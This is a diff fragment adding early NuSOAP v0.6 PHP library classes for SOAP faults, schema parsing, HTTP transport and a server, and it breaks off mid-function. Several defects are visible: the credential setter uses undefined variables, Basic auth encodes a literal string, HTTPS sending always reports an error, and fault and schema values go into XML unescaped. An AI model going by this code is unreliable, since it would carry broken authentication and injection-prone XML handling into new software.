+* in a server instance.
+* @access public
+*/
+class soap_fault extends nusoap_base {
+
+ var $faultcode;
+ var $faultactor;
+ var $faultstring;
+ var $faultdetail;
+
+ /**
+ * constructor
+ *
+ * @param string $faultcode
+ * @param string $faultactor (client | server)
+ * @param string $faultstring
+ * @param string $faultdetail
+ */
+ function soap_fault($faultcode,$faultactor,$faultstring='',$faultdetail=''){
+ $this->faultcode = $faultcode;
+ $this->faultactor = $faultactor;
+ $this->faultstring = $faultstring;
+ $this->faultdetail = $faultdetail;
+ }
+
+ /**
+ * serialize a fault
+ *
+ * @access public
+ */
+ function serialize(){
+ foreach($this->namespaces as $k => $v){
+ $ns_string .= "\n xmlns:$k=\"$v\"";
+ }
+ $return_msg =
+ "<?xml version=\"1.0\"?".">\n".
+ "<SOAP-ENV:Envelope SOAP-ENV:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\"$ns_string>\n".
+ "<SOAP-ENV:Body>\n".
+ "<SOAP-ENV:Fault>\n".
+ "<faultcode>$this->faultcode</faultcode>\n".
+ "<faultactor>$this->faultactor</faultactor>\n".
+ "<faultstring>$this->faultstring</faultstring>\n".
+ "<faultdetail>$this->faultdetail</faultdetail>\n".
+ "</SOAP-ENV:Fault>\n".
+ "</SOAP-ENV:Body>\n".
+ "</SOAP-ENV:Envelope>\n";
+ return $return_msg;
+ }
+}
+
+?><?
+/*
+
+NuSOAP - Web Services Toolkit for PHP
+
+Copyright (c) 2002 NuSphere Corporation
+
+This library is free software; you can redistribute it and/or
+modify it under the terms of the GNU Lesser General Public
+License as published by the Free Software Foundation; either
+version 2.1 of the License, or (at your option) any later version.
+
+This library is distributed in the hope that it will be useful,
+but WITHOUT ANY WARRANTY; without even the implied warranty of
+MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
+Lesser General Public License for more details.
+
+You should have received a copy of the GNU Lesser General Public
+License along with this library; if not, write to the Free Software
+Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA
+
+*/
+
+/**
+* parses an XML Schema, allows access to it's data, other utility methods
+* no validation... yet.
+* very experimental and limited. As is discussed on XML-DEV, I'm one of the people
+* that just doesn't have time to read the spec(s) thoroughly, and just have a couple of trusty
+* tutorials I refer to :)
+*
+* @author Dietrich Ayala <dietricha@ganx4.com>
+* @access public
+*/
+class XMLSchema extends nusoap_base {
+
+ /**
+ * constructor
+ *
+ * @param string $schema schema document URI
+ * @param string $xml xml document URI
+ * @access public
+ */
+ function XMLSchema($schema="",$xml=""){
+
+ $this->debug('xmlschema class instantiated, inside constructor');
+ // files
+ $this->schema = $schema;
+ $this->xml = $xml;
+
+ // define internal arrays of bindings, ports, operations, messages, etc.
+ $this->complexTypes = array();
+
+ // parser vars
+ $this->parser;
+ $this->position;
+ $this->depth;
+ $this->depth_array = array();
+
+ // parse schema file
+ if($schema != ""){
+ $this->debug("initial schema file: $schema");
+ $this->parseFile($schema);
+ }
+
+ // parse xml file
+ if($xml != ""){
+ $this->debug("initial xml file: $xml");
+ $this->parseFile($xml);
+ }
+
+ }
+
+ /**
+ * parse an XML file
+ *
+ * @param string $xml, path/URL to XML file
+ * @param string $type, (schema | xml)
+ * @return boolean
+ * @access public
+ */
+ function parseFile($xml,$type){
+ // parse xml file
+ if($xml != ""){
+ $this->debug("parsing $xml");
+ $xmlStr = @join("",@file($xml));
+ if($xmlStr == ""){
+ $this->setError("No file at the specified URL: $xml.");
+ return false;
+ } else {
+ $this->parseString($xmlStr,$type);
+ return true;
+ }
+ }
+ return false;
+ }
+
+ /**
+ * parse an XML string
+ *
+ * @param string $xml path or URL
+ * @param string $type, (schema|xml)
+ * @access private
+ */
+ function parseString($xml,$type){
+ // parse xml string
+ if($xml != ""){
+
+ // Create an XML parser.
+ $this->parser = xml_parser_create();
+ // Set the options for parsing the XML data.
+ xml_parser_set_option($this->parser, XML_OPTION_CASE_FOLDING, 0);
+
+ // Set the object for the parser.
+ xml_set_object($this->parser, $this);
+
+ // Set the element handlers for the parser.
+ if($type == "schema"){
+ xml_set_element_handler($this->parser, "schemaStartElement","schemaEndElement");
+ xml_set_character_data_handler($this->parser,"schemaCharacterData");
+ } elseif($type == "xml"){
+ xml_set_element_handler($this->parser, "xmlStartElement","xmlEndElement");
+ xml_set_character_data_handler($this->parser,"xmlCharacterData");
+ }
+
+ // Parse the XML file.
+ if(!xml_parse($this->parser,$xml,true)){
+ // Display an error message.
+ $errstr = sprintf("XML error on line %d: %s",
+ xml_get_current_line_number($this->parser),
+ xml_error_string(xml_get_error_code($this->parser))
+ );
+ $this->debug("XML parse error: $errstr");
+ $this->setError("Parser error: $errstr");
+ }
+ xml_parser_free($this->parser);
+ } else{
+ $this->debug("no xml passed to parseString()!!");
+ $this->setError("no xml passed to parseString()!!");
+ }
+ }
+
+ /**
+ * start-element handler
+ *
+ * @param string $parser XML parser object
+ * @param string $name element name
+ * @param string $attrs associative array of attributes
+ * @access private
+ */
+ function schemaStartElement($parser, $name, $attrs) {
+
+ // position in the total number of elements, starting from 0
+ $pos = $this->position++;
+ $depth = $this->depth++;
+ // set self as current value for this depth
+ $this->depth_array[$depth] = $pos;
+
+ // loop through atts, logging ns declarations
+ foreach($attrs as $key => $value){
+ // if ns declarations, add to class level array of valid namespaces
+ if(ereg("^xmlns",$key)){
+ if($ns_prefix = substr(strrchr($key,":"),1)){
+ $this->namespaces[$ns_prefix] = $value;
+ } else {
+ $this->namespaces['ns'.(count($this->namespaces)+1)] = $value;
+ }
+ if($value == 'http://www.w3.org/2001/XMLSchema'){
+ $this->XMLSchemaVersion = $value;
+ $this->namespaces['xsi'] = $value.'-instance';
+ } elseif($value == 'http://www.w3.org/1999/XMLSchema'){
+ $this->XMLSchemaVersion = $value;
+ $this->namespaces['xsi'] = $value.'-instance';
+ }
+ }
+ }
+
+ // get element prefix
+ if(ereg(":",$name)){
+ // get ns prefix
+ $prefix = substr($name,0,strpos($name,":"));
+ // get unqualified name
+ $name = substr(strstr($name,":"),1);
+ }
+ //$this->debug("name: $name, prefix: $prefix");
+
+ // find status, register data
+ switch($name){
+ case "all":
+ $this->complexTypes[$this->currentComplexType]["compositor"] = "all";
+ $this->complexTypes[$this->currentComplexType]["phpType"] = "struct";
+ break;
+ case "attribute":
+ if($attrs["name"]){
+ $this->attributes[$attrs["name"]] = $attrs;
+ $aname = $attrs["name"];
+ } elseif($attrs["ref"]){
+ $aname = $this->expandQName($attrs["ref"]);
+ }
+
+ if($this->currentComplexType){
+ $this->complexTypes[$this->currentComplexType]["attrs"][$aname] = $attrs;
+ } elseif($this->currentElement){
+ $this->elements[$this->currentElement]['attrs'][$aname] = $attrs;
+ }
+
+ if($aname == 'http://schemas.xmlsoap.org/soap/encoding/:arrayType'){
+ foreach($attrs as $k => $v){
+ if(strstr($k,':') == ':arrayType'){
+ if(strpos($v,'[,]')){
+ $this->complexTypes[$this->currentComplexType]["multidimensional"] = true;
+ }
+ $v = substr($v,0,strpos($v,'[')); // clip the []
+ if(strpos($v,':')){
+ $v = $this->expandQName($v);
+ } else {
+ $v = $this->XMLSchemaVersion.':'.$v;
+ }
+ $this->complexTypes[$this->currentComplexType]["arrayType"] = $v;
+ break;
+ }
+ }
+ }
+ break;
+ case "complexContent":
+
+ break;
+ case 'complexType':
+ if($attrs['name']){
+ $this->currentElement = false;
+ $this->currentComplexType = $attrs['name'];
+ $this->complexTypes[$this->currentComplexType] = $attrs;
+ $this->complexTypes[$this->currentComplexType]['typeClass'] = 'complexType';
+ if(ereg(':Array$',$attrs['base'])){
+ $this->complexTypes[$this->currentComplexType]['phpType'] = 'array';
+ } else {
+ $this->complexTypes[$this->currentComplexType]['phpType'] = 'struct';
+ }
+ $this->xdebug("processing complexType $attrs[name]");
+ }
+ break;
+ case 'element':
+ if(isset($attrs['type'])){
+ $this->xdebug("processing element ".$attrs['name']);
+ $this->currentElement = $attrs['name'];
+ $this->elements[ $attrs['name'] ] = $attrs;
+ $this->elements[ $attrs['name'] ]['typeClass'] = 'element';
+ $ename = $attrs['name'];
+ } elseif(isset($attrs['ref'])){
+ $ename = $attrs['ref'];
+ } else {
+ $this->xdebug("adding complexType $attrs[name]");
+ $this->currentComplexType = $attrs['name'];
+ $this->complexTypes[ $attrs['name'] ] = $attrs;
+ $this->complexTypes[ $attrs['name'] ]['element'] = 1;
+ $this->complexTypes[$this->currentComplexType]['phpType'] = 'struct';
+ }
+ if($ename && $this->currentComplexType){
+ $this->complexTypes[$this->currentComplexType]['elements'][$ename] = $attrs;
+ }
+ break;
+ case 'restriction':
+ $this->xdebug("in restriction for ct: $this->currentComplexType and ce: $this->currentElement");
+ if($this->currentElement){
+ $this->elements[$this->currentElement]['type'] = $attrs['base'];
+ } elseif($this->currentComplexType){
+ $this->complexTypes[$this->currentComplexType]['restrictionBase'] = $attrs['base'];
+ if(strstr($attrs['base'],':') == ':Array'){
+ $this->complexTypes[$this->currentComplexType]['phpType'] = "array";
+ }
+ }
+ break;
+ case 'schema':
+ $this->schema = $attrs;
+ $this->schema['schemaVersion'] = $this->getNamespaceFromPrefix($prefix);
+ break;
+ case 'sequence':
+ $this->complexTypes[$this->currentComplexType]['compositor'] = 'sequence';
+ break;
+ case 'simpleType':
+ $this->currentElement = $attrs['name'];
+ $this->elements[ $attrs['name'] ] = $attrs;
+ $this->elements[ $attrs['name'] ]['typeClass'] = 'element';
+ break;
+ }
+ }
+
+ /**
+ * end-element handler
+ *
+ * @param string $parser XML parser object
+ * @param string $name element name
+ * @access private
+ */
+ function schemaEndElement($parser, $name) {
+ // position of current element is equal to the last value left in depth_array for my depth
+ $pos = $this->depth_array[$this->depth];
+ // bring depth down a notch
+ $this->depth--;
+ // move on...
+ if($name == 'complexType'){
+ $this->currentComplexType = false;
+ $this->currentElement = false;
+ }
+ if($name == 'element'){
+ $this->currentElement = false;
+ }
+ }
+
+ /**
+ * element content handler
+ *
+ * @param string $parser XML parser object
+ * @param string $data element content
+ * @access private
+ */
+ function schemaCharacterData($parser, $data){
+ $pos = $this->depth_array[$this->depth];
+ $this->message[$pos]["cdata"] .= $data;
+ }
+
+ /**
+ * serialize the schema
+ *
+ * @access public
+ */
+ function serializeSchema(){
+
+ $schemaPrefix = $this->getPrefixFromNamespace($this->schema['schemaVersion']);
+ // complex types
+ foreach($this->complexTypes as $typeName => $attrs){
+ $contentStr = "";
+ // serialize child elements
+ if(count($attrs["elements"]) > 0){
+ foreach($attrs["elements"] as $element => $eParts){
+ $contentStr .= "<element ref=\"$element\"/>\n";
+ }
+ }
+ // serialize attributes
+ if(count($attrs["attrs"]) > 0){
+ foreach($attrs["attrs"] as $attr => $aParts){
+ $contentStr .= "<attribute ref=\"$attr\"/>\n";
+ }
+ }
+
+ // if restriction
+ if($attrs["restrictionBase"]){
+ $contentStr = "<$schemaPrefix:restriction base=\"".$attrs["restrictionBase"]."\">\n".
+ $contentStr."</$schemaPrefix:restriction>\n";
+ }
+ if($attrs["complexContent"]){
+ $contentStr = "<$schemaPrefix:complexContent>\n".
+ $contentStr."</$schemaPrefix:complexContent>\n";
+ } elseif($attrs["sequence"]){
+ $contentStr = "<$schemaPrefix:sequence>\n".
+ $contentStr."</$schemaPrefix:sequence>\n";
+ } elseif($attrs["all"]){
+ $contentStr = "<$schemaPrefix:all>\n".
+ $contentStr."</$schemaPrefix:all>\n";
+ }
+ if($attrs['element']){
+ if($contentStr != ""){
+ $contentStr = "<$schemaPrefix:element name=\"$typeName\">\n"."<$schemaPrefix:complexType>\n".
+ $contentStr."</$schemaPrefix:complexType>\n"."</$schemaPrefix:element>\n";
+ } else {
+ $contentStr = "<$schemaPrefix:element name=\"$typeName\">\n"."<$schemaPrefix:complexType/>\n".
+ "</$schemaPrefix:element>\n";
+ }
+ } else {
+ if($contentStr != ""){
+ $contentStr = "<$schemaPrefix:complexType name=\"$typeName\">\n".
+ $contentStr."</$schemaPrefix:complexType>\n";
+ } else {
+ $contentStr = "<$schemaPrefix:complexType name=\"$typeName\"/>\n";
+ }
+ }
+ $xml .= $contentStr;
+ }
+ // elements
+ if(count($this->elements) > 0){
+ foreach($this->elements as $element => $eParts){
+ $xml .= "<$schemaPrefix:element name=\"$element\" type=\"".$eParts['type']."\"/>\n";
+ }
+ }
+ // attributes
+ if(count($this->attributes) > 0){
+ foreach($this->attributes as $attr => $aParts){
+ $xml .= "<$schemaPrefix:attribute name=\"$attr\" type=\"".$aParts['type']."\"/>\n";
+ }
+ }
+ $xml = "<$schemaPrefix:schema targetNamespace=\"".$this->schema["targetNamespace"]."\">\n".
+ $xml."</$schemaPrefix:schema>\n";
+
+ return $xml;
+ }
+
+ /**
+ * expands a qualified name
+ *
+ * @param string $string qname
+ * @return string expanded qname
+ * @access private
+ */
+ function expandQname($qname){
+ // get element prefix
+ if(ereg(":",$qname)){
+ // get unqualified name
+ $name = substr(strstr($qname,":"),1);
+ // get ns prefix
+ $prefix = substr($qname,0,strpos($qname,":"));
+ if(isset($this->namespaces[$prefix])){
+ return $this->namespaces[$prefix].":".$name;
+ } else {
+ return false;
+ }
+ } else {
+ return $qname;
+ }
+ }
+
+ /**
+ * adds debug data to the clas level debug string
+ *
+ * @param string $string debug data
+ * @access private
+ */
+ function xdebug($string){
+ $this->debug(" xmlschema: $string");
+ }
+
+ /**
+ * get the PHP type of a user defined type in the schema
+ * PHP type is kind of a misnomer since it actually returns 'struct' for assoc. arrays
+ * returns false if no type exists, or not w/ the given namespace
+ * else returns a string that is either a native php type, or 'struct'
+ *
+ * @param string $type, name of defined type
+ * @param string $ns, namespace of type
+ * @return mixed
+ * @access public
+ */
+ function getPHPType($type,$ns){
+ global $typemap;
+ if(isset($typemap[$ns][$type])){
+ //print "found type '$type' and ns $ns in typemap<br>";
+ return $typemap[$ns][$type];
+ } elseif(isset($this->complexTypes[$type])){
+ //print "getting type '$type' and ns $ns from complexTypes array<br>";
+ return $this->complexTypes[$type]["phpType"];
+ }
+ return false;
+ }
+
+ /**
+ * returns the local part of a prefixed string
+ * returns the original string, if not prefixed
+ *
+ * @param string
+ * @return string
+ * @access public
+ */
+ function getLocalPart($str){
+ if($sstr = strrchr($str,':')){
+ // get unqualified name
+ return substr( $sstr, 1 );
+ } else {
+ return $str;
+ }
+ }
+
+ /**
+ * returns the prefix part of a prefixed string
+ * returns false, if not prefixed
+ *
+ * @param string
+ * @return mixed
+ * @access public
+ */
+ function getPrefix($str){
+ if($pos = strrpos($str,':')){
+ // get prefix
+ return substr($str,0,$pos);
+ }
+ return false;
+ }
+
+ /**
+ * pass it a prefix, it returns a namespace
+ * or false if no prefixes registered for the given namespace
+ *
+ * @param string
+ * @return mixed
+ * @access public
+ */
+ function getNamespaceFromPrefix($prefix){
+ if(isset($this->namespaces[$prefix])){
+ return $this->namespaces[$prefix];
+ }
+ //$this->setError("No namespace registered for prefix '$prefix'");
+ return false;
+ }
+
+ /**
+ * returns the prefix for a given namespace
+ * returns false if no namespace registered with the given prefix
+ *
+ * @param string
+ * @return mixed
+ * @access public
+ */
+ function getPrefixFromNamespace($ns){
+ foreach($this->namespaces as $p => $n){
+ if($ns == $n){
+ $this->usedNamespaces[$p] = $ns;
+ return $p;
+ }
+ }
+ return false;
+ }
+
+ /**
+ * returns an array of information about a given type
+ * returns false if no type exists by the given name
+ *
+ * typeDef = array(
+ * 'elements' => array(), // refs to elements array
+ * 'restrictionBase' => '',
+ * 'phpType' => '',
+ * 'order' => '(sequence|all)',
+ * 'attrs' => array() // refs to attributes array
+ * )
+ *
+ * @param string
+ * @return mixed
+ * @access public
+ */
+ function getTypeDef($type){
+ if(isset($this->complexTypes[$type])){
+ return $this->complexTypes[$type];
+ } elseif(isset($this->elements[$type])){
+ return $this->elements[$type];
+ } elseif(isset($this->attributes[$type])){
+ return $this->attributes[$type];
+ }
+ return false;
+ }
+
+ /**
+ * returns a sample serialization of a given type, or false if no type by the given name
+ *
+ * @param string $type, name of type
+ * @return mixed
+ * @access public
+ */
+ function serializeTypeDef($type){
+ //print "in sTD() for type $type<br>";
+ if($typeDef = $this->getTypeDef($type)){
+ $str .= "<$type";
+ if(is_array($typeDef['attrs'])){
+ foreach($attrs as $attName => $data){
+ $str .= " $attName=\"{type = ".$data['type']."}\"";
+ }
+ }
+ $str .= " xmlns=\"".$this->schema['targetNamespace']."\"";
+ if(count($typeDef['elements']) > 0){
+ $str .= ">\n";
+ foreach($typeDef['elements'] as $element => $eData){
+ $str .= $this->serializeTypeDef($element);
+ }
+ $str .= "</$type>\n";
+ } elseif($typeDef['typeClass'] == 'element') {
+ $str .= "></$type>\n";
+ } else {
+ $str .= "/>\n";
+ }
+ return $str;
+ }
+ return false;
+ }
+
+ /**
+ * returns HTML form elements that allow a user
+ * to enter values for creating an instance of the given type.
+ *
+ * @param string $name, name for type instance
+ * @param string $type, name of type
+ * @return string
+ * @access public
+ */
+ function typeToForm($name,$type){
+ // get typedef
+ if($typeDef = $this->getTypeDef($type)){
+ // if struct
+ if($typeDef['phpType'] == 'struct'){
+ $buffer .= '<table>';
+ foreach($typeDef['elements'] as $child => $childDef){
+ $buffer .= "
+ <tr><td align='right'>$childDef[name] (type: ".$this->getLocalPart($childDef['type'])."):</td>
+ <td><input type='text' name='parameters[".$name."][$childDef[name]]'></td></tr>";
+ }
+ $buffer .= '</table>';
+ // if array
+ } elseif($typeDef['phpType'] == 'array'){
+ $buffer .= '<table>';
+ for($i=0;$i < 3; $i++){
+ $buffer .= "
+ <tr><td align='right'>array item (type: $typeDef[arrayType]):</td>
+ <td><input type='text' name='parameters[".$name."][]'></td></tr>";
+ }
+ $buffer .= '</table>';
+ // if scalar
+ } else {
+ $buffer .= "<input type='text' name='parameters[$name]'>";
+ }
+ } else {
+ $buffer .= "<input type='text' name='parameters[$name]'>";
+ }
+ return $buffer;
+ }
+}
+
+?>
+<?php
+
+/*
+
+NuSOAP - Web Services Toolkit for PHP
+
+Copyright (c) 2002 NuSphere Corporation
+
+This library is free software; you can redistribute it and/or
+modify it under the terms of the GNU Lesser General Public
+License as published by the Free Software Foundation; either
+version 2.1 of the License, or (at your option) any later version.
+
+This library is distributed in the hope that it will be useful,
+but WITHOUT ANY WARRANTY; without even the implied warranty of
+MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
+Lesser General Public License for more details.
+
+You should have received a copy of the GNU Lesser General Public
+License along with this library; if not, write to the Free Software
+Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA
+
+*/
+
+/**
+* for creating serializable abstractions of native PHP types
+* NOTE: this is only really used when WSDL is not available.
+*
+* @author Dietrich Ayala <dietricha@ganx4.com>
+* @version v 0.6
+* @access public
+*/
+class soapval extends nusoap_base {
+ /**
+ * constructor
+ *
+ * @param string $name optional value name
+ * @param string $type optional type name
+ * @param mixed $value optional content of value
+ * @param string $namespace optional namespace of value
+ * @param string $type_namespace optional namespace of type
+ * @param array $attributes associative array of attributes to add to element serialization
+ * @access public
+ */
+ function soapval($name="noname",$type=false,$value=-1,$element_ns=false,$type_ns=false,$attributes=false) {
+ $this->name = $name;
+ $this->value = $value;
+ $this->type = $type;
+ $this->element_ns = $element_ns;
+ $this->type_ns = $type_ns;
+ $this->attributes = $attributes;
+ }
+
+ /**
+ * return serialized value
+ *
+ * @return string XML data
+ * @access private
+ */
+ function serialize() {
+ return $this->serialize_val($this->value,$this->name,$this->type,$this->element_ns,$this->type_ns,$this->attributes);
+ }
+
+ /**
+ * decodes a soapval object into a PHP native type
+ *
+ * @param object $soapval optional SOAPx4 soapval object, else uses self
+ * @return mixed
+ * @access public
+ */
+ function decode(){
+ return $this->value;
+ }
+}
+
+?>
+<?php
+/*
+
+NuSOAP - Web Services Toolkit for PHP
+
+Copyright (c) 2002 NuSphere Corporation
+
+This library is free software; you can redistribute it and/or
+modify it under the terms of the GNU Lesser General Public
+License as published by the Free Software Foundation; either
+version 2.1 of the License, or (at your option) any later version.
+
+This library is distributed in the hope that it will be useful,
+but WITHOUT ANY WARRANTY; without even the implied warranty of
+MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
+Lesser General Public License for more details.
+
+You should have received a copy of the GNU Lesser General Public
+License along with this library; if not, write to the Free Software
+Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA
+
+*/
+
+/**
+* transport class for sending/receiving data via HTTP and HTTPS
+* NOTE: PHP must be compiled with the CURL extension for HTTPS support
+* HTTPS support is experimental!
+*
+* @access public
+*/
+class soap_transport_http extends nusoap_base {
+
+ var $username;
+ var $password;
+ var $url;
+ /**
+ * constructor
+ */
+ function soap_transport_http($url){
+ $this->url = $url;
+ $u = parse_url($url);
+ foreach($u as $k => $v){
+ $this->debug("$k = $v");
+ $this->$k = $v;
+ }
+ if($u['query'] != ''){
+ $this->path .= $u['query'];
+ }
+ if(!isset($u['port']) && $u['scheme'] == 'http'){
+ $this->port = 80;
+ }
+ }
+
+ /**
+ * if authenticating, set user credentials here
+ *
+ * @param string $user
+ * @param string $pass
+ * @access public
+ */
+ function setCredentials($user, $pass) {
+ $this->user = $username;
+ $this->pass = $pword;
+ }
+
+ /**
+ * set the soapaction value
+ *
+ * @param string $soapaction
+ * @access public
+ */
+ function setSOAPAction($soapaction) {
+ $this->soapaction = $soapaction;
+ }
+
+ /**
+ * set proxy info here
+ *
+ * @param string $proxyhost
+ * @param string $proxyport
+ * @access public
+ */
+ function setProxy($proxyhost, $proxyport) {
+ $this->proxyhost = $proxyhost;
+ $this->proxyport = $proxyport;
+ }
+
+ /**
+ * send the SOAP message via HTTP 1.0
+ *
+ * @param string $msg message data
+ * @param integer $timeout set timeout in seconds
+ * @return string data
+ * @access public
+ */
+ function send($data, $timeout=0) {
+ flush();
+ $this->debug('entered send() with data of length: '.strlen($data));
+
+ if($this->proxyhost && $this->proxyport){
+ $host = $this->proxyhost;
+ $port = $this->proxyport;
+ } else {
+ $host = $this->host;
+ $port = $this->port;
+ }
+ if($timeout > 0){
+ $fp = fsockopen($host, $port, $this->errno, $this->error_str, $timeout);
+ } else {
+ $fp = fsockopen($host, $port, $this->errno, $this->error_str);
+ }
+ //socket_set_blocking($fp,0);
+ if (!$fp) {
+ $this->debug("Couldn't open socket connection to server: $server!");
+ $this->setError("Couldn't open socket connection to server: $server.");
+ return false;
+ }
+
+ $credentials = '';
+ if($this->user != '') {
+ $credentials = 'Authorization: Basic '.base64_encode('$this->user:$this->pass').'\r\n';
+ }
+
+ if($this->proxyhost && $this->proxyport){
+ $this-> outgoing_payload = "POST $this->url HTTP/1.0\r\n";
+ } else {
+ $this->outgoing_payload = "POST $this->path HTTP/1.0\r\n";
+ }
+
+ $this->outgoing_payload .=
+ "User-Agent: $this->title v$this->version\r\n".
+ "Host: ".$this->host."\r\n".
+ $credentials.
+ "Content-Type: text/xml\r\nContent-Length: ".strlen($data)."\r\n".
+ "SOAPAction: \"$this->soapaction\""."\r\n\r\n".
+ $data;
+
+ // send
+ if(!fputs($fp, $this->outgoing_payload, strlen($this->outgoing_payload))) {
+ $this->setError("couldn't write message data to socket");
+ $this->debug("Write error");
+ }
+
+ // get response
+ $this->incoming_payload = "";
+ while ($data = fread($fp, 32768)) {
+ $this->incoming_payload .= $data;
+ }
+
+ // close filepointer
+ fclose($fp);
+ $data = $this->incoming_payload;
+ //print "data: <xmp>$data</xmp>";
+ // separate content from HTTP headers
+ if(preg_match("/([^<]*?)\r?\n\r?\n(<.*>)/s",$data,$result)) {
+ $this->debug("found proper separation of headers and document");
+ $this->debug("getting rid of headers, stringlen: ".strlen($data));
+ $clean_data = $result[2];
+ $this->debug("cleaned data, stringlen: ".strlen($clean_data));
+ /*
+ if(ereg("^(.*)\r?\n\r?\n",$data)) {
+ $this->debug("found proper separation of headers and document");
+ $this->debug("getting rid of headers, stringlen: ".strlen($data));
+ $clean_data = ereg_replace("^[^<]*\r\n\r\n","", $data);
+ $this->debug("cleaned data, stringlen: ".strlen($clean_data));
+ */
+ } else {
+ $this->setError('no proper separation of headers and document.');
+ return false;
+ }
+ if(strlen($clean_data) == 0){
+ $this->debug("no data after headers!");
+ $this->setError("no data present after HTTP headers.");
+ return false;
+ }
+
+ return $clean_data;
+ }
+
+
+ /**
+ * send the SOAP message via HTTPS 1.0 using CURL
+ *
+ * @param string $msg message data
+ * @param integer $timeout set timeout in seconds
+ * @return string data
+ * @access public
+ */
+ function sendHTTPS($data, $timeout=0) {
+ flush();
+ $this->debug('entered sendHTTPS() with data of length: '.strlen($data));
+ // init CURL
+ $ch = curl_init();
+
+ // set proxy
+ if($this->proxyhost && $this->proxyport){
+ $host = $this->proxyhost;
+ $port = $this->proxyport;
+ } else {
+ $host = $this->host;
+ $port = $this->port;
+ }
+ // set url
+ $hostURL = ($port != '') ? "https://$host:$port" : "https://$host";
+ // add path
+ $hostURL .= $this->path;
+
+ curl_setopt($ch, CURLOPT_URL, $hostURL);
+ // set other options
+ curl_setopt($ch, CURLOPT_HEADER, 1);
+ curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
+ // set timeout
+ if($timeout != 0){
+ curl_setopt($ch, CURLOPT_TIMEOUT, $timeout);
+ }
+
+ $credentials = '';
+ if($this->user != '') {
+ $credentials = 'Authorization: Basic '.base64_encode('$this->user:$this->pass').'\r\n';
+ }
+
+ if($this->proxyhost && $this->proxyport){
+ $this-> outgoing_payload = "POST $this->url HTTP/1.0\r\n";
+ } else {
+ $this->outgoing_payload = "POST $this->path HTTP/1.0\r\n";
+ }
+
+ $this->outgoing_payload .=
+ "User-Agent: $this->title v$this->version\r\n".
+ "Host: ".$this->host."\r\n".
+ $credentials.
+ "Content-Type: text/xml\r\nContent-Length: ".strlen($data)."\r\n".
+ "SOAPAction: \"$this->soapaction\""."\r\n\r\n".
+ $data;
+
+ // set payload
+ curl_setopt($ch, CURLOPT_CUSTOMREQUEST, $this->outgoing_payload);
+
+ // send and receive
+ $this->incoming_payload = curl_exec($ch);
+ $data = $this->incoming_payload;
+
+ $err = "cURL ERROR: ".curl_errno($ch).": ".curl_error($ch)."<br>";
+
+ if($err != ''){
+ foreach(curl_getinfo($ch) as $k => $v){
+ $err .= "$k: $v<br>";
+ }
+ $this->setError($err);
+ curl_close($ch);
+ return false;
+ }
+
+ curl_close($ch);
+
+ // separate content from HTTP headers
+ if(ereg("^(.*)\r?\n\r?\n",$data)) {
+ $this->debug("found proper separation of headers and document");
+ $this->debug("getting rid of headers, stringlen: ".strlen($data));
+ $clean_data = ereg_replace("^[^<]*\r\n\r\n","", $data);
+ $this->debug("cleaned data, stringlen: ".strlen($clean_data));
+ } else {
+ $this->setError('no proper separation of headers and document.');
+ return false;
+ }
+ if(strlen($clean_data) == 0){
+ $this->debug("no data after headers!");
+ $this->setError("no data present after HTTP headers.");
+ return false;
+ }
+
+ return $clean_data;
+ }
+}
+
+?>
+<?php
+/*
+
+NuSOAP - Web Services Toolkit for PHP
+
+Copyright (c) 2002 NuSphere Corporation
+
+This library is free software; you can redistribute it and/or
+modify it under the terms of the GNU Lesser General Public
+License as published by the Free Software Foundation; either
+version 2.1 of the License, or (at your option) any later version.
+
+This library is distributed in the hope that it will be useful,
+but WITHOUT ANY WARRANTY; without even the implied warranty of
+MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
+Lesser General Public License for more details.
+
+You should have received a copy of the GNU Lesser General Public
+License along with this library; if not, write to the Free Software
+Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA
+
+*/
+
+/**
+*
+* soap_server allows the user to create a SOAP server
+* that is capable of receiving messages and returning responses
+*
+* NOTE: WSDL functionality is experimental
+*
+* @author Dietrich Ayala <dietricha@ganx4.com>
+* @version v 0.6
+* @access public
+*/
+class soap_server extends nusoap_base {
+
+ // assoc array of operations => opData
+ var $operations = array();
+ var $responseHeaders = false;
+ var $headers = "";
+ var $request = "";
+ var $charset_encoding = "UTF-8";
+ var $fault = false;
+ var $result = "successful";
+
+ /**
+ * constructor
+ *
+ * @param string $wsdl path or URL to a WSDL file
+ * @access public
+ */
+ function soap_server($wsdl=false){
+
+ // turn on debugging?
+ global $debug;
+ if(isset($debug)){
+ $this->debug_flag = true;
+ }
+
+ $this->wsdl = false;
+
+ // wsdl
+ if($wsdl){
+ $this->wsdl = new wsdl($wsdl);
+ if($err = $this->wsdl->getError()){
+ die("WSDL ERROR: $err");
+ }
+ }
+ }
+
+ /**
+ * processes request and returns response
+ *
+ * @param string $data usually is the value of $HTTP_RAW_POST_DATA
+ * @access public
+ */
+ function service($data){
+ // print wsdl
+ if(ereg('^wsdl',$GLOBALS['QUERY_STRING'])){
+ header("Content-Type: text/xml\r\n");
+ print $this->wsdl->serialize();
+ // print web interface
+ } elseif($data == '' && $this->wsdl){
+ print $this->webDescription();
+ } else {
+ // $response is the serialized response message
+ $response = $this->parse_request($data);
+ $this->debug("server sending...");
+ $payload = $response;
+ //$payload .= "<!--\n$this->debug_str\n-->";
+ // print headers
+ if($this->fault){
+ $header[] = "Status: 500 Internal Server Error\r\n";
+ } else {
+ $header[] = "Status: 200 OK\r\n";
+ }
+ $header[] = "Server: $this->title Server v$this->version\r\n";
+ $header[] = "Connection: Close\r\n";
+ $header[] = "Content-Type: text/xml; charset=$this->charset_encoding\r\n";
+ $header[] = "Content-Length: ".strlen($payload)."\r\n\r\n";
+ reset($header);
+ foreach($header as $hdr){
+ header($hdr);
+ }
+ $this->response = join("\n",$header).$payload;
+ print $payload;
+ }
+ }
+
+ /**
+ * parses request and posts response
+ *
+ * @param string $data XML string
+ * @return object SOAPx4 soapmsg object
+ * @access private
+ */
+ function parse_request($data="") {
+ $this->debug("entering parseRequest() on ".date("H:i Y-m-d"));
+ // get headers
+ if(function_exists("getallheaders")){
